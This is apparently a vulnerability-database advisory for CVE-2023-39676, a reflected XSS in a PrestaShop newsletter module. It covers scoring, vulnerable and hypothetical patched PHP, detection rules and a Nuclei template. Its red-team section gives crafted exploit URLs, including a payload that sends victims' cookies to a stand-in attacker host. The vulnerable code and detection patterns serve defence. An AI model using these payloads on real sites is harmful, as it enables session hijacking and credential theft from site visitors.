CVE-2023-39676
Executive Summary
CVE-2023-39676 identifies a reflected Cross-Site Scripting (XSS) vulnerability in the PrestaShop module fieldpopupnewsletter version 1.0.0, developed by FieldThemes. The vulnerability exists in the ajax.php file, where the callback parameter is not properly sanitized before being reflected in the HTTP response. An attacker can craft a malicious URL containing a JavaScript payload in the callback parameter. When a victim clicks on this link, the script executes in the context of the victim's browser session on the affected PrestaShop site. This can lead to session hijacking, credential theft, or website defacement. The vulnerability is publicly documented with a proof-of-concept (PoC) and a Nuclei template, indicating active interest from the security community. No official patch has been released by the vendor at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a third-party PrestaShop module distributed via marketplaces like ThemeForest. The module is not managed through standard package managers (NPM, PyPI, Go, Ruby), but its inclusion in a PrestaShop instance introduces a supply chain risk. Administrators must manually verify the module's integrity and apply any vendor-provided updates. The lack of a patch increases the risk for all sites using this module.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): Required (R) - Victim must click a crafted link.
- Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) - Limited data exposure possible.
- Integrity (I): Low (L) - Limited ability to modify content.
- Availability (A): None (N) - No impact on service availability.
Threat Level: Medium. The vulnerability requires user interaction but is trivial to exploit. The impact is limited to the victim's browser session, but can be chained with other attacks for greater effect.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the ajax.php endpoint of the fieldpopupnewsletter module. The callback parameter is taken directly from the HTTP GET request and echoed back into the response without proper encoding or validation. The vulnerable code path likely looks like:
// Vulnerable code in ajax.php
$callback = $_GET['callback'];
echo $callback . "(" . json_encode($response) . ")";
This pattern is common for JSONP-style callbacks, where the callback parameter is expected to be a function name. However, without sanitization, an attacker can inject arbitrary JavaScript. The Nuclei template confirms the vulnerability by sending a request with callback=%3Cscript%3Ealert(document.domain)%3C/script%3E (URL-encoded <script>alert(document.domain)</script>). The server responds with the script tag in the body, which the browser then executes.
The matchers in the Nuclei template check for both the injected script and the string "Invalid email" (a normal response part), confirming the reflection.
Vulnerable vs. Patched Code
Vulnerable Code (ajax.php):
<?php
// No input validation or output encoding
$callback = $_GET['callback'];
$response = array('status' => 'error', 'message' => 'Invalid email');
echo $callback . '(' . json_encode($response) . ')';
?>
Patched Code (Hypothetical):
<?php
// Validate callback to only allow alphanumeric and underscore
$callback = $_GET['callback'];
if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $callback)) {
$response = array('status' => 'error', 'message' => 'Invalid email');
echo $callback . '(' . json_encode($response) . ')';
} else {
// Reject invalid callbacks
http_response_code(400);
echo 'Invalid callback';
}
?>
The patched version uses a regular expression to ensure the callback is a valid JavaScript function name, preventing script injection. Alternatively, using json_encode with proper content-type headers and avoiding direct reflection of user input is recommended.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A PrestaShop instance with the
fieldpopupnewslettermodule (v1.0.0) installed and active. - A web browser or tool like
curlto send requests.
Exploitation Steps:
Craft the malicious URL:
http://target.com/modules/fieldpopupnewsletter/ajax.php?callback=<script>alert(document.cookie)</script>URL-encode the payload for reliability:
http://target.com/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.cookie)%3C/script%3EDeliver the link to a victim (e.g., via email, social engineering, or a compromised page).
When the victim clicks the link, the script executes in their browser, displaying the cookie (or performing other actions).
Advanced Payload Example (Session Hijacking):
http://target.com/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Enew%20Image().src=%27http://attacker.com/steal?cookie=%27%2Bdocument.cookie%3C/script%3E
No Exploit-DB code was provided.
Blue Team
Detection:
- Monitor web server logs for requests to
/modules/fieldpopupnewsletter/ajax.phpwith acallbackparameter containing<script>,%3Cscript%3E, or other suspicious patterns. - Use the YARA and Sigma rules provided in the Detection Engineering section.
Hunting:
- Search for any instances of the
fieldpopupnewslettermodule in your PrestaShop installation. - Review
ajax.phpfor the vulnerable code pattern.
Containment:
- Temporarily disable the module by renaming its directory or removing it from the PrestaShop modules list.
- Implement a Web Application Firewall (WAF) rule to block requests with suspicious
callbackparameters.
Indicators of Compromise (IOCs)
- File Path:
/modules/fieldpopupnewsletter/ajax.php - URL Pattern:
*/modules/fieldpopupnewsletter/ajax.php?callback=* - HTTP Request: GET request to the above URL with a
callbackparameter containing<script>tags. - Response Body: Contains the injected script tag (e.g.,
<script>alert(document.domain)</script>). - Module Version: 1.0.0 (as identified by the module's metadata).
Detection Engineering
YARA Rule
rule CVE_2023_39676_PrestaShop_XSS {
meta:
description = "Detects exploitation attempts of CVE-2023-39676 in PrestaShop fieldpopupnewsletter module"
author = "Valters IT"
date = "2024-01-01"
severity = "medium"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-39676"
strings:
$xss_payload = /callback=.*%3Cscript%3E|callback=.*<script>/ nocase
$vuln_path = /modules\/fieldpopupnewsletter\/ajax\.php/ nocase
condition:
$vuln_path and $xss_payload
}
Sigma Rule
title: CVE-2023-39676 PrestaShop fieldpopupnewsletter XSS Attempt
id: 8a4b0c2d-1e3f-4a5b-6c7d-8e9f0a1b2c3d
status: experimental
description: Detects HTTP requests targeting the vulnerable ajax.php endpoint with a malicious callback parameter.
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-39676
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/modules/fieldpopupnewsletter/ajax.php?callback='
cs-uri-query|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of callback parameter with non-malicious function names (unlikely)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-39676 PrestaShop fieldpopupnewsletter XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/modules/fieldpopupnewsletter/ajax.php"; http_uri; content:"callback="; http_uri; pcre:"/callback=.*%3Cscript%3E|callback=.*<script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-39676
info:
name: PrestaShop fieldpopupnewsletter Module - Cross Site Scripting
author: meme-lord
severity: medium
description: |
Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential theft of sensitive information, session hijacking, or defacement.
reference:
- https://blog.sorcery.ie/posts/fieldpopupnewsletter_xss/
- https://sorcery.ie
- https://themeforest.net/user/fieldthemes
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-39676
cwe-id: CWE-79
epss-score: 0.06128
epss-percentile: 0.9083
cpe: cpe:2.3:a:fieldthemes:fieldpopupnewsletter:1.0.0:*:*:*:*:prestashop:*:*
metadata:
verified: "true"
max-request: 1
vendor: fieldthemes
product: fieldpopupnewsletter
framework: prestashop
shodan-query:
- html:"fieldpopupnewsletter"
- http.html:"fieldpopupnewsletter"
fofa-query: body="fieldpopupnewsletter"
tags: cve2023,cve,prestashop,xss,fieldthemes,vuln
http:
- method: GET
path:
- "{{BaseURL}}/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "Invalid email"
condition: and
- type: status
status:
- 200
Remediation & Mitigation
- Immediate Action: Disable or remove the
fieldpopupnewslettermodule from your PrestaShop installation until a patch is available. - Vendor Contact: Reach out to FieldThemes via ThemeForest to request a security update.
- Code Fix: If you have access to the source code, apply the patched code example provided in the "Vulnerable vs. Patched Code" section.
- WAF Rule: Deploy a Web Application Firewall rule to block requests containing
<script>in thecallbackparameter. - Input Validation: Implement strict input validation for all user-supplied parameters, especially those reflected in responses.
- Output Encoding: Use context-appropriate output encoding (e.g., HTML entity encoding) for any data reflected in HTTP responses.
- User Education: Train users to avoid clicking suspicious links, especially those containing raw JavaScript.
Valters IT
{/* [Security Hash: 37999E899BBBAF64CFA61F84] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.